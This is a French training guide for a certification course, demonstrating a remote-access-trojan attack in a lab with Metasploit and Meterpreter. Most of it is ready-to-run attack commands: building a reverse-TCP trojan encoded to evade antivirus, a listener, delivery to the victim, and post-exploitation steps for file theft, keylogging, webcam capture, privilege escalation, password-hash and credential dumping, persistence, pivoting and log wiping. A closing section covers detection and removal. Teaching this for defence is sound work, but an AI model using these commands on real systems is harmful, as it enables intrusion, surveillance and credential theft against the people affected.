GUIDE COMPLET
Démonstration d'Attaque RAT
Metasploit Framework + Meterpreter
⚠ USAGE STRICTEMENT PÉDAGOGIQUE ⚠
Environnement Lab Isolé Uniquement
Certified Ethical Hacker (CEH)
Module : Menaces Malware
TABLE DES MATIÈRES
1. Introduction et Prérequis
2. Architecture de l'Attaque
3. Configuration de l'Environnement
4. Création du Payload (Trojan)
5. Configuration du Listener (Handler)
6. Transfert et Exécution du Payload
7. Prise de Contrôle Total - Commandes Meterpreter
8. Scénario de Démonstration Complète
9. Détection et Remédiation
1. INTRODUCTION ET PRÉREQUIS
Ce guide présente une démonstration complète d'attaque utilisant un RAT (Remote
Access Trojan) avec Metasploit Framework. L'objectif est pédagogique : comprendre
comment fonctionne une attaque réelle pour mieux s'en défendre.
Qu'est-ce qu'un RAT ?
Un RAT (Remote Access Trojan) est un type de malware qui permet à l'attaquant de :
Contrôler entièrement le système à distance
Accéder à tous les fichiers et données
Surveiller les activités de l'utilisateur (keylogging, webcam)
Voler des identifiants et mots de passe
Installer des backdoors pour maintenir l'accès
Prérequis
Matériel et logiciels nécessaires :
Machine attaquante : Kali Linux (VM ou physique)
Machine victime : Windows (7/10/11) vulnérable
Réseau isolé (lab virtuel ou réseau local dédié)
Metasploit Framework (préinstallé sur Kali)
AUCUNE connexion Internet pendant la démonstration
⚠AVERTISSEMENTS LÉGAUX
Cette démonstration est STRICTEMENT réservée à un usage pédagogique
Environnement LAB ISOLÉ uniquement
Autorisation écrite OBLIGATOIRE de l'institution
Toute utilisation malveillante est ILLÉGALE et passible de poursuites
2. ARCHITECTURE DE L'ATTAQUE
L'attaque repose sur le principe du reverse shell (connexion inversée). Contrairement à
une connexion classique où l'attaquant se connecte à la victime, ici c'est la victime qui
initie la connexion vers l'attaquant.
Schéma de Fonctionnement
┌─────────────────────┐ ┌─────────────────────┐
│ KALI LINUX │ │ WINDOWS VICTIME │
│ (Attaquant) │ │ │
│ │ │ │
│ IP: [Link] │ │ IP: [Link] │
│ │ │ │
│ ┌───────────────┐ │ │ ┌───────────────┐ │
│ │ Metasploit │ │ │ │ [Link] │ │
│ │ Handler │ │◄─────────┤ │ (Trojan) │ │
│ │ Port: 4444 │ │ │ │ │ │
│ └───────────────┘ │ │ └───────────────┘ │
│ ▲ │ │ │ │
│ │ │ │ │ │
│ Écoute sur │ │ Se connecte à │
│ port 4444 │ │ [Link]:4444 │
└─────────────────────┘ └─────────────────────┘
▲ │
│ │
└──────────── Connexion ───────────┘
inversée (reverse)
Étapes de l'Attaque
1. Création du payload: L'attaquant génère un fichier malveillant ([Link])
avec msfvenom
2. Configuration du listener: L'attaquant lance Metasploit en mode écoute sur
le port 4444
3. Social Engineering: Le fichier malveillant est transféré sur la machine victime
(email, USB, etc.)
4. Exécution: La victime exécute le fichier (double-clic)
5. Connexion établie: Le trojan se connecte au handler Metasploit
6. Contrôle total: L'attaquant obtient un shell Meterpreter sur la machine victime
Pourquoi une Connexion Inversée ?
Bypass des firewalls : Les pare-feu bloquent les connexions entrantes mais
autorisent généralement les connexions sortantes
Contournement NAT : Pas besoin d'ouvrir de ports sur la machine victime
Discrétion : La connexion semble légitime (la victime initie la communication)
3. CONFIGURATION DE L'ENVIRONNEMENT
Vérification de l'Adresse IP (Kali Linux)
Avant de commencer, il faut connaître l'adresse IP de votre machine Kali :
# Afficher toutes les interfaces réseau
ip addr show
OU
# Méthode alternative
ifconfig
Exemple de sortie :
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet [Link] netmask [Link] broadcast [Link]
...
Dans cet exemple, l'adresse IP de Kali est : [Link]
Isolation du Réseau
IMPORTANT : Assurez-vous que les machines sont dans un réseau isolé :
Utiliser un réseau NAT ou Host-Only dans VirtualBox/VMware
Désactiver la connexion Internet sur les deux machines
Vérifier qu'aucun autre équipement n'est connecté au même réseau
Test de Connectivité
Vérifier que les deux machines peuvent communiquer :
# Depuis Kali, tester la connexion vers Windows
ping [Link]
Si le ping fonctionne, vous êtes prêt à continuer. Sinon, vérifiez votre configuration
réseau.
4. CRÉATION DU PAYLOAD (TROJAN)
Le payload est le fichier malveillant que la victime va exécuter. Nous utilisons
msfvenom, l'outil de génération de payloads de Metasploit.
Commande de Base (Payload Simple)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=[Link] \
LPORT=4444 \
-f exe \
-o /tmp/[Link]
Explication des Paramètres
Paramètre Description
-p Type de payload
(windows/meterpreter/reverse_tcp)
LHOST Adresse IP de votre Kali (où le trojan se
connectera)
LPORT Port d'écoute (4444 est standard, peut
être changé)
-f exe Format de sortie (fichier exécutable
Windows)
-o Fichier de sortie (où sauvegarder le
trojan)
Payload Avancé (Bypass Antivirus)
Pour contourner les antivirus basiques, on peut encoder le payload :
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=[Link] \
LPORT=4444 \
-e x86/shikata_ga_nai \
-i 10 \
-f exe \
-o /tmp/[Link]
Nouveaux paramètres :
-e x86/shikata_ga_nai : Encoder polymorphique (modifie le code à chaque
génération)
-i 10 : Nombre d'itérations d'encodage (plus il y en a, plus c'est obfusqué)
Vérification du Payload Créé
# Vérifier que le fichier existe
ls -lh /tmp/[Link]
# Résultat attendu
-rw-r--r-- 1 root root 73K Jan 29 14:30 /tmp/[Link]
Le payload est maintenant prêt ! Il est stocké dans /tmp/[Link]
5. CONFIGURATION DU LISTENER (HANDLER)
Le handler (gestionnaire) est le composant qui écoute les connexions entrantes depuis
les machines infectées.
Lancement de Metasploit Console
# Démarrer Metasploit
msfconsole
Attendez que le prompt Metasploit s'affiche (peut prendre quelques secondes) :
msf6 >
Configuration du Handler
Entrez les commandes suivantes une par une dans Metasploit :
# Utiliser le module multi/handler
use exploit/multi/handler
# Définir le payload (doit correspondre au payload du trojan)
set payload windows/meterpreter/reverse_tcp
# Définir l'IP de votre Kali
set LHOST [Link]
# Définir le port d'écoute
set LPORT 4444
# Ne pas fermer la session après connexion
set ExitOnSession false
# Lancer l'écoute en arrière-plan
exploit -j -z
Explication des Options
Option Description
ExitOnSession false Permet de recevoir plusieurs connexions
exploit -j Lance en mode job (arrière-plan)
exploit -z Ne pas interagir automatiquement avec la
session
Résultat attendu :
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on [Link]:4444
Le handler est maintenant en écoute ! Il attend qu'une victime exécute le payload.
6. TRANSFERT ET EXÉCUTION DU PAYLOAD
Il existe plusieurs méthodes pour transférer le payload sur la machine victime. Voici les
plus courantes :
Méthode 1 : Serveur HTTP Simple
La méthode la plus simple pour un environnement lab :
# Sur Kali, dans un nouveau terminal
cd /tmp
python3 -m [Link] 8000
Sur la machine Windows :
1. Ouvrir un navigateur (Edge, Chrome, Firefox)
2. Naviguer vers [Link]
3. Cliquer sur [Link] pour le télécharger
4. Sauvegarder le fichier sur le bureau
Méthode 2 : Clé USB
Copier [Link] sur une clé USB
Insérer la clé sur la machine Windows
Copier le fichier sur le bureau
Exécution du Payload
Sur la machine Windows :
5. Double-cliquer sur [Link]
6. Si Windows Defender s'affiche, cliquer sur "Plus d'informations" puis "Exécuter
quand même"
7. RIEN ne se passera à l'écran (c'est normal !)
Confirmation de la Connexion (Kali)
Retournez sur Kali, dans le terminal Metasploit. Vous devriez voir :
[*] Sending stage (175686 bytes) to [Link]
[*] Meterpreter session 1 opened ([Link]:4444 ->
[Link]:49732)
✓ CONNEXION ÉTABLIE !
Vous avez maintenant un accès complet à la machine victime !
7. PRISE DE CONTRÔLE TOTAL - COMMANDES METERPRETER
Meterpreter est un puissant shell qui offre des capacités bien au-delà d'un simple shell
système. Voici toutes les commandes classées par catégorie.
Interagir avec la Session
# Lister toutes les sessions actives
sessions -l
# Se connecter à la session 1
sessions -i 1
# Vous êtes maintenant dans Meterpreter
meterpreter >
1. Reconnaissance du Système
# Informations système complètes
sysinfo
# Utilisateur actuel
getuid
# Privilèges de l'utilisateur
getprivs
# Liste des processus en cours
ps
# Temps d'inactivité de l'utilisateur
idletime
# Variables d'environnement
getenv
2. Navigation dans les Fichiers
# Afficher le répertoire actuel
pwd
# Lister les fichiers
ls
# Naviguer vers un autre dossier
cd C:\Users\Username\Documents
# Afficher le contenu d'un fichier
cat [Link]
# Chercher un fichier spécifique
search -f [Link]
search -f *.docx
3. Exfiltration de Données
# Télécharger un fichier de la victime vers Kali
download C:\Users\Username\Documents\[Link] /tmp/
# Télécharger tous les fichiers d'un dossier
download C:\Users\Username\Documents\* /tmp/stolen/
# Uploader un fichier de Kali vers la victime
upload /root/[Link] C:\Windows\Temp\
4. Capture d'Écran et Webcam
# Prendre une capture d'écran
screenshot
# Stream en temps réel de l'écran
screenshare
# Lister les webcams disponibles
webcam_list
# Prendre une photo via la webcam
webcam_snap
# Streamer la webcam en temps réel
webcam_stream
# Enregistrer une vidéo
record_mic
5. Keylogger (Enregistrement des Frappes)
# Démarrer le keylogger
keyscan_start
# Voir les frappes capturées
keyscan_dump
# Arrêter le keylogger
keyscan_stop
Exemple de sortie du keylogger :
Keystroke capture started...
password123<CR>
[Link]<CR>
my_secret_password<CR>
6. Contrôle du Système
# Ouvrir un shell système complet
shell
# Vous êtes maintenant en [Link] Windows !
# Tapez 'exit' pour revenir à Meterpreter
# Exécuter une application
execute -f [Link]
execute -f [Link]
# Afficher un message popup
execute -f [Link] -a "* Votre système est compromis"
# Tuer un processus
kill <PID>
# Redémarrer la machine
reboot
# Éteindre la machine
shutdown
7. Élévation de Privilèges
# Tenter d'obtenir les privilèges SYSTEM (administrateur max)
getsystem
# Vérifier les nouveaux privilèges
getuid
# Résultat attendu : NT AUTHORITY\SYSTEM
8. Vol d'Identifiants
# Dumper les hash des mots de passe Windows (nécessite SYSTEM)
hashdump
# Charger Mimikatz (outil de vol de credentials)
load kiwi
# Récupérer TOUS les identifiants en mémoire
creds_all
# Récupérer les mots de passe en clair (si disponibles)
kiwi_cmd sekurlsa::logonpasswords
Exemple de résultat hashdump :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
User:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
9. Persistence (Maintenir l'Accès)
# Installer une backdoor permanente
run persistence -X -i 60 -p 4444 -r [Link]
# Explication :
# -X : Démarrage automatique au boot
# -i 60 : Se reconnecte toutes les 60 secondes
# -p 4444 : Port de connexion
# -r : IP du handler Metasploit
⚠ DANGER : Avec la persistence, même si vous fermez la session, la machine se
reconnectera automatiquement !
10. Pivoting (Attaquer d'Autres Machines)
# Scanner le réseau local depuis la machine compromise
run arp_scanner -r [Link]/24
# Ajouter une route pour atteindre d'autres machines
route add [Link] [Link] 1
# Port forwarding (rediriger RDP par exemple)
portfwd add -l 3389 -p 3389 -r [Link]
11. Nettoyage des Traces
# Effacer tous les logs d'événements Windows
clearev
# Modifier les dates de fichiers (timestomp)
timestomp C:\[Link] -m "01/01/2020 12:00:00"
# Tuer le processus malveillant avant de partir
kill <PID_du_payload>
12. Quitter Proprement
# Mettre la session en arrière-plan
background
# Fermer une session spécifique
sessions -k 1
# Fermer TOUTES les sessions
sessions -K
# Quitter Metasploit
exit
8. SCÉNARIO DE DÉMONSTRATION COMPLÈTE
Voici un scénario complet et impressionnant pour votre présentation CEH. L'objectif est
de montrer l'ampleur du contrôle obtenu avec un simple double-clic.
Préparation (Avant la Présentation)
Testez TOUT le scénario la veille
Préparez des screenshots/vidéos en backup
Ayez un script avec toutes les commandes
Configurez les deux écrans (Kali + Windows visible)
Déroulement de la Démonstration (15 minutes)
Phase 1 : Configuration (2 minutes)
1. Montrer l'écran Kali : "Voici ma machine d'attaquant avec Metasploit en écoute"
[*] Started reverse TCP handler on [Link]:4444
2. Montrer l'écran Windows : "Voici un utilisateur normal travaillant sur Word"
3. Montrer le fichier [Link] sur le bureau
Phase 2 : L'Infection (1 minute)
1. Double-clic sur [Link]
2. Dire : "Regardez, rien ne se passe à l'écran. L'utilisateur pense que c'est un bug."
3. Basculer sur Kali : Montrer la connexion établie
[*] Meterpreter session 1 opened
Phase 3 : Reconnaissance Discrète (2 minutes)
1. Entrer dans la session : sessions -i 1
2. Montrer les infos système :
sysinfo
getuid
Commenter : "Je connais maintenant le système, l'utilisateur, tout."
3. Prendre une capture d'écran :
screenshot
Montrer l'image : "Voilà ce que voit l'utilisateur en ce moment même"
Phase 4 : Actions Visibles (4 minutes)
1. Ouvrir la calculatrice sur Windows :
execute -f [Link]
→ La calculatrice s'ouvre sur Windows. "Vous voyez ? Je contrôle la machine à
distance !"
2. Afficher un message popup :
execute -f [Link] -a "* Système compromis - Ceci est une démonstration
CEH"
→ Un popup s'affiche sur Windows. Effet garanti sur l'audience !
3. Démarrer le keylogger :
keyscan_start
Demander à quelqu'un de taper quelque chose sur Windows (ou le faire vous-même)
keyscan_dump
→ Afficher les frappes capturées. "Tous les mots de passe sont volés en temps réel."
Phase 5 : Vol de Données (2 minutes)
1. Naviguer dans les fichiers :
cd C:\Users\Username\Documents
ls
2. Télécharger des fichiers :
download C:\Users\Username\Documents\[Link] /tmp/
→ "Tous les fichiers personnels peuvent être volés sans que la victime s'en aperçoive."
Phase 6 : Élévation et Persistence (2 minutes)
1. Devenir SYSTEM :
getsystem
getuid
→ "J'ai maintenant les privilèges maximum, équivalent à root sur Linux."
2. Voler les mots de passe :
hashdump
→ Afficher les hash. "Ces hash peuvent être craqués offline pour obtenir les mots de
passe."
3. Installer la persistence :
run persistence -X -i 60 -p 4444 -r [Link]
→ "Même si on redémarre, même si on ferme tout, je garde l'accès pour toujours."
Phase 7 : Démonstration de Persistence (2 minutes)
1. Fermer la session :
sessions -k 1
2. Attendre 60 secondes...
3. La session se reconnecte automatiquement !
[*] Meterpreter session 2 opened
→ "C'est une backdoor permanente. L'accès est maintenu indéfiniment."
Messages Clés à Faire Passer
Un simple double-clic = Contrôle total permanent
La victime ne voit RIEN (processus invisible)
L'attaquant peut : voir, entendre, voler, détruire
Même après redémarrage, l'accès persiste
C'est pour ça qu'on NE CLIQUE JAMAIS sur des fichiers suspects
9. DÉTECTION ET REMÉDIATION
Après avoir montré l'attaque, il est crucial de montrer comment la détecter et s'en
défendre. C'est ce qui différencie un hacker éthique d'un attaquant malveillant.
Comment Détecter l'Attaque ?
1. Surveillance des Processus
Utiliser Process Explorer (outil Sysinternals) :
Chercher les processus suspects ([Link])
Vérifier les connexions réseau actives
Analyser les processus sans signature valide
2. Analyse Réseau
Utiliser Wireshark ou TCPView :
Détecter les connexions sortantes suspectes
Identifier les communications vers des IP inconnues
Analyser le trafic anormal (port 4444, par exemple)
3. Logs Système
# Windows Event Viewer
[Link]
# Chercher :
- Création de processus suspects
- Modifications de registre
- Connexions réseau inhabituelles
4. Indicateurs de Compromission (IOCs)
Signes révélateurs d'une infection :
Fichier [Link] dans C:\Users\<user>\AppData
Connexion TCP établie vers [Link]:4444
Clés de registre ajoutées pour la persistence
Logs Windows effacés (clearev)
Comment Supprimer le RAT ?
Étape 1 : Isoler la Machine
Déconnecter du réseau immédiatement
Empêcher la communication avec le serveur C2
Étape 2 : Terminer les Processus Malveillants
# Dans Task Manager (Ctrl+Shift+Esc)
1. Chercher [Link]
2. Clic droit > End task
3. Supprimer le fichier
Étape 3 : Supprimer la Persistence
# Ouvrir Registry Editor
regedit
# Chercher dans :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
# Supprimer les entrées suspectes
Étape 4 : Scan Antivirus Complet
Utiliser Windows Defender en mode hors ligne
Scanner avec Malwarebytes
Utiliser des outils spécialisés (GMER, RootkitRevealer)
Étape 5 : Réinitialisation (Recommandé)
Pour une compromission sérieuse, la seule solution sûre à 100% :
8. Sauvegarder les données essentielles (après vérification antivirus)
9. Formater complètement le disque
10. Réinstaller Windows depuis une source fiable
11. Changer TOUS les mots de passe depuis une autre machine
Prévention - Les Bonnes Pratiques
Pour les Utilisateurs
Ne JAMAIS exécuter de fichiers d'origine inconnue
Vérifier les extensions (.[Link] = suspect)
Activer Windows Defender et le maintenir à jour
Éviter les clés USB inconnues
Mettre à jour régulièrement le système
Pour les Administrateurs
Déployer des solutions EDR (Endpoint Detection and Response)
Bloquer les exécutables dans les dossiers utilisateurs
Segmenter le réseau (VLAN, firewall interne)
Surveillance réseau avec IDS/IPS
Formation régulière des utilisateurs
Application Whitelisting (autoriser uniquement les apps approuvées)
"La meilleure défense commence par une excellente compréhension de
l'attaque."